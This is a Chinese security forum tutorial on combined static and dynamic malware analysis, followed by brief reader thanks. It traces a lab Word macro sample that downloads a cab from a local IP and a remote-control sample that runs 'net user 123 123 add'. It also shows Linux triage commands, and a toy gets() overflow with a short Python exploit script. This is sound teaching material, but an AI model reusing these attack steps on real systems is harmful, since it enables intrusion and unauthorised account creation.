飘云阁

 找回密码
 加入我们

QQ登录

只需一步,快速开始

查看: 2468|回复: 5

[病毒分析] 【梦幻开讲了】带伙伴们入手计算机病毒分析第四天

[复制链接]
  • TA的每日心情
    开心
    2019-3-15 11:00
  • 签到天数: 262 天

    [LV.8]以坛为家I

    发表于 2022-1-29 14:59:08 | 显示全部楼层 |阅读模式
    本帖最后由 梦幻的彼岸 于 2022-2-7 12:46 编辑

    1.png
    今天学习的内容是动静结合分析病毒,若有不当之处希望伙伴们可以指出,让我们共同完善,共同进步
    注意:文章内容只是分享自身的知识储备,只是自身的理解,不一定准确,希望观看的时候只是参考,思维不要被其所局限。
    开始进入正文:



    实战讲解
    根据之前所学的静态、动态分析技术,结合起来分析测试样本
    word宏病毒表层
    • 打开途中连接外部地址下载文件
      2.png
    • 打开word文档后,发现计算器程序被打开(这里代表恶意行为)
      3.png
    监控
    • 网络监控
      4.png
      分析:
      发起程序-WINWORD.EXE *64位
      请求地址-http://192.168.86.144/
      响应服务-python3的SimpleHTTPServer模块开启的web服务
      请求文件-
      1
      2
      http://192.168.86.144/word.cab
      解析:cab是windows的压缩格式,我这边使用7-z提取

    • 行为监控
      寻找打开word文件主程序
      任务管理器:
      5.png
      与网络监控到发起程序相同
      进程树查看执行流程:
      6.png
      分析:
      1
      2
      3
      正常:就是打开一个word文档
      可疑:调用了控制面板程序control.exe
      并通过控制面板执行临时文件夹下名为msword.inf配置文件,之后通过运行cmd程序打开计算器程序calc.exe(这里代指恶意程序)


    本身
    • 7-z查看word文档
      7.png
    • 找到了是如何访问可疑地址的方式
      8.png
      结合之前网络分析访问此地址后跳转下载可疑文件
    下载的文件
    • 解包下载的文件
      9.png
      可直接打开提取(7-z提取也可,效果一样,但解包后的大小不同)
      找到了控制面板程序执行的配置文件msword.inf
    • 运行测试
      10.png
      成功执行,验证是通过该文件为加载的恶意代码
    • 字符串查看
      使用cutter查看下载的文件word.cab
      11.png
      看到了计算器相关内容(calc.exe 这里代指恶意程序)
    • 调试监控
      关键函数运行完毕,恶意程序已成功加载
      1
      2
      关键call:
      00007FF67F1128E3 | E8 C8F4FFFF              | call control.7FF67F111DB0               |

      12.png
      进入查看(已加载恶意配置文件)
      13.png
      ShellExecuteExW函数(可通常此函数执行外部程序或打开文件)
      14.png
      rundll32.exe(rundll32.exe用于在内存中运行DLL文件,它们会在应用程序中被使用,可用于在内存中执行恶意dll)
      15.png
      1
      2
      3
      *cmd,*bat  //猜测在这里准备好了dos环境
      00007FFDF9DD11ED | 48:8D15 94DA4800         | lea rdx,qword ptr ds:[7FFDFA25EC88]     | rdx:L"*.CMD;*.BAT", 00007FFDFA25EC88:L"*.CMD;*.BAT"
      00007FFDF9DD11F4 | 48:8BC8                  | mov rcx,rax                             | rax:L"rundll32.exe"

      13.png
      syscall(此syscall运行完毕,加载恶意配置文件以运行dos环境启动calc程序这里代指恶意程序
      syscall:表示系统调用)
      14.png
      反汇编定位:
      const char Command启动calc.exe
      15.png
      1
      定位技巧:字符串搜索关键信息,之后双击进入反汇编页面查看

      到此调试程序跟踪与监控的运行流程相同。
    远控病毒已运行
    • 测试机,定位到的可疑进程
      16.png
      1
      2
      3
      4
      在模块列表看到了RPCRT4.DLL
      文件描述:远程程序调用运行时
      在explorer.exe进程树下
      判断:可疑模块,一般情况程序有远程需求才会加载,当前测试机无已知远程,test.exe加载了此模块不正常,并且因此进程在explorer.exe进程树下判断为用户启动

    • 攻击机已控制测试机
      17.png
    • 进程树
      找到可疑程序位置,运行并监控,查看进程树
      18.png
      1
      2
      3
      4
      test下调用了某些程序
      ipconfig.exe:(运行了如下命令:ipconfig,行为解析查询当前IP)
      whoami.exe:(运行了如下命令:whoami,行为解析显示已登录的用户信息)
      net.exe:(运行了如下命令:net  user 123 123 add,行为解析创建账号行为 )

      到此可判断test.exe执行了恶意行为
    • 网络溯源
      19.png
      1
      2
      频繁外联此IP:192.168.86.114
      初步判断为攻击者使用的IP


    定位分析
    找到程序,载入分析工具分析
    20.png
    • VirtualAlloc函数
      1
      Windows API函数,用于申请内存空间

    • ExitProcess函数
      1
      Windows API函数,用于结束调用进程及其所有线程。

    • 关键函数
      此call会调用syscall发送网络数据到攻击机
      21.jpg
      1
      2
      3
      4
      5
      6
      7
      8
      关键call:00007FF8054B2A59 | 48:FF15 301F0500         | call qword ptr ds:[<&NtDeviceIoControlF |
      进入call:
      00007FF8086CCEF0 | 4C:8BD1                  | mov r10,rcx                             |
      00007FF8086CCEF3 | B8 07000000              | mov eax,7                               |
      00007FF8086CCEF8 | F60425 0803FE7F 01       | test byte ptr ds:[7FFE0308],1           |
      00007FF8086CCF00 | 75 03                    | jne ntdll.7FF8086CCF05                  |
      00007FF8086CCF02 | 0F05                     | syscall                                 |
      NtDeviceIoControlFile函数解析:为提供的缓冲区构建描述符,并将非类型化数据传递给与文件句柄关联的设备驱动程序。


    Linux病毒查杀网络相关
    • ifconfig命令
      可查询网卡发送数据情况,对比日期所需,若发送数据过大或接收发送对比差异过段(未下载数据)则说明可疑,存在异常,需深入排查
      1
      2
      3
      4
      RX Packets // 接收到的数据包数量
      TX Packets // 发送数据包的数量
      RX Bytes   // 接收到的字节数
      TX Bytes   // 发送出去的字节数

      22.png
    • nethogs命令(正常情况需安装)
      列出进程的网络情况
      1
      2
      3
      dev        网卡
      sent       发送
      received   接收

      23.png
      看到进程1在发送与接收数据,查看详情
    • top命令
      查询指定进程资源占用情况
      1
      top -p 7132  //7132为进程pid

      24.png
      开始监控资源占用不到,后期逐步占用过高,可能为远控木马驻留,后收到命令执行攻击行为如:搜索指定文件
      25.png
    • 根据PID查找进程路径
      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      cd  /proc/7132  //7132为进程pid
      ls -ail        //exe对应的就是可执行文件路径信息
      补充知识:
      Linux系统上的/proc目录是一种文件系统,即proc文件系统。与其它常见的文件系统不同的是,/proc是一种伪文件系统(也即虚拟文件系统),存储的是当前内核运行状态的一系列特殊文件,用户可以通过这些文件查看有关系统硬件及当前正在运行进程的信息,甚至可以通过更改其中某些文件来改变内核的运行状态。
      ls -ail [目录名]:打印当前/指定目录的目录文件
      组合查询:ls -ail /proc/7132
      若非root权限会导致有些信息查询不到,如提示如下信息:
      ls: 无法读取符号链接'/proc/7132/cwd': 权限不够
      ls: 无法读取符号链接'/proc/7132/root': 权限不够
      ls: 无法读取符号链接'/proc/7132/exe': 权限不够

      26.png
    • 猜测状态查询外联IP
      1
      netstat -na|grep ESTABLISHED

      27.png
    • 根据端口反查进程
      1
      netstat -nap | grep 47074

      28.png
    • 根据pid查看进程内存情况
      1
      pmap -d 3885

      29.png
    • 根据pid关闭进程
      1
      kill -HUP 3885

      30.png
    利用程序溢出漏洞
    未方便理解模拟了一个攻击程序根据一个存在溢出漏洞程序进行攻击的过程。
    简单分析攻击程序利用思路与溢出漏洞产生原因
    源码分析存在缓冲区漏洞程序源码:
    备注:根据STACK1_VS_2017.cpp修改
    工具链:Mingw
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    #include <stdlib.h>
    #include  <stdio.h>
    #include "Windows.h"

    int main(int argc, char **argv) {

        MessageBoxA((HWND)-0, (LPCSTR) "检测程序是否正常运行\n", (LPCSTR)"功能", (UINT)0);

        int cookie;
        char buf[2];
        int *a = &cookie;
        char *b = buf;
        printf("buf: %08x cookie: %08x\n", b, a);
        u_int64 p =(u_int64)a-(u_int64)b;
        printf("程序正常运行,存在缓存区溢出漏洞,其中两变量内存地址之差=%d:\n注意:若超过此值则缓冲区溢出\n",p);
        gets(buf);
        if (cookie == 0x41424344)
            printf("缓冲区溢出,已被成功利用此漏洞,隐藏信息已显示,请排查\n");

    }

    根据源码看到若gets函数获取的数据为**DCBA(*通配符,例如:11DCBA,字符串DCBA的16进制为44434241,因堆栈数据读写顺序为先进后出故真正调用时为ABCD),则证明利用了此程序的缓冲区溢出漏洞并显示了隐藏信息(根据代码逻辑,程序正常运行不满足显示此隐藏信息的条件)
    缓冲区漏洞成因:buf申请的缓冲区大小为2,并且用gets获取导致未对缓冲区进行保护,若获取的数据超过2则溢出。
    利用程序代码
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    import sys
    from subprocess import Popen, PIPE

    payload = b"A" * 2 + b"\x44\x43\x42\x41"

    p1 = Popen(r"C:\Users\用户名\Desktop\test\cmake-build-debug\test.exe", stdin=PIPE)
    print ("PID: %s" % hex(p1.pid))
    print ("Enter para continuar")
    p1.communicate(payload)
    p1.wait()
    input()

    效果:缓冲区溢出成功,并输入特定代码读取了隐藏信息
    31.png
    监控:
    procexp64
    32.png
    Procmon64
    33.png

    定位到利用脚本test.py
    反汇编分析
    运行到模块值为:test.exe
    34.png
    入口断点断下,未看到泄露信息相关内容,字符串搜索快速定位漏洞函数代码块
    备注:编译器为了使可执行程序正常工作和启动,增加了很多代码。故第一次入口函数断点往往不会断到main函数
    35.png
    反编译对照:
    MapoAnalyzer
    36.png
    Snowman
    37.png
    跟踪分析:
    在输入字符串时,在堆栈窗口看到两变量对应的地址紧挨着
    38.png
    根据反编译结果分析输入的字符串的是对应buf变量的值,但现在cookie对应也有值,分析数据溢出,导致cookie对应的地址有值并且为输入数值减两位即DCBA,如下图所示:
    39.png
    1
    2
    3
    4
    5
    00000000004015E1 | 8B45 E4                  | mov eax,dword ptr ss:[rbp-1C]           |
    00000000004015E4 | 3D 44434241              | cmp eax,41424344                        |
    00000000004015E9 | 75 0C                    | jne test.4015F7                         |
    00000000004015EB | 48:8D0D A67A0000         | lea rcx,qword ptr ds:[409098]           | 0000000000409098:"缓冲区溢出,已被成功利用此漏洞,隐藏信息已显示,请排查\n"
    00000000004015F2 | E8 49630000              | call <test.begin of _Z6printfPKcz>      |

    40.png
    可以看到输入的字符串已满足条件,跳转不成功,导致隐藏信息被调取
    扩展分析:
    gets函数
    1
    网络资料:gets 可以无限读取,不会判断上限,也就是说,gets 函数并不检查缓冲区 buffer 的空间大小,事实上它也无法检查缓冲区的空间。

    结合分析因程序使用gets函数获取输入数据导致存在溢出漏洞,其中此程序根据此隐患隐藏了特定字符。
    参考资料
    • 《STACK1_VS_2017.cpp》
    • 《gets和fgets函数及其区别,C语言gets和fgets函数详解》

    评分

    参与人数 3威望 +3 飘云币 +3 收起 理由
    adime + 1 + 1 PYG有你更精彩!
    tiantian89 + 1 + 1 PYG有你更精彩!
    飞天 + 1 + 1 感谢发布原创作品,PYG有你更精彩!

    查看全部评分

    本帖被以下淘专辑推荐:

    PYG19周年生日快乐!
  • TA的每日心情
    开心
    15 小时前
  • 签到天数: 1405 天

    [LV.10]以坛为家III

    发表于 2022-1-30 12:11:57 | 显示全部楼层
    感谢分享好文章
    PYG19周年生日快乐!
    回复 支持 反对

    使用道具 举报

  • TA的每日心情
    擦汗
    22 小时前
  • 签到天数: 1481 天

    [LV.10]以坛为家III

    发表于 2022-1-30 16:13:43 | 显示全部楼层
    非常好的教程 感谢
    PYG19周年生日快乐!
    回复 支持 反对

    使用道具 举报

  • TA的每日心情
    开心
    2023-11-13 18:32
  • 签到天数: 325 天

    [LV.8]以坛为家I

    发表于 2022-1-30 16:16:50 | 显示全部楼层
    感谢分享,讲得不错
    PYG19周年生日快乐!
    回复 支持 反对

    使用道具 举报

  • TA的每日心情

    前天 10:58
  • 签到天数: 570 天

    [LV.9]以坛为家II

    发表于 2022-2-3 21:43:47 | 显示全部楼层
    好眼熟啊 感觉 好多地方都见过你
    PYG19周年生日快乐!
    回复 支持 反对

    使用道具 举报

  • TA的每日心情
    无聊
    前天 20:22
  • 签到天数: 441 天

    [LV.9]以坛为家II

    发表于 2022-11-25 10:15:38 | 显示全部楼层

    感谢分享好文章
    PYG19周年生日快乐!
    回复 支持 反对

    使用道具 举报

    您需要登录后才可以回帖 登录 | 加入我们

    本版积分规则

    快速回复 返回顶部 返回列表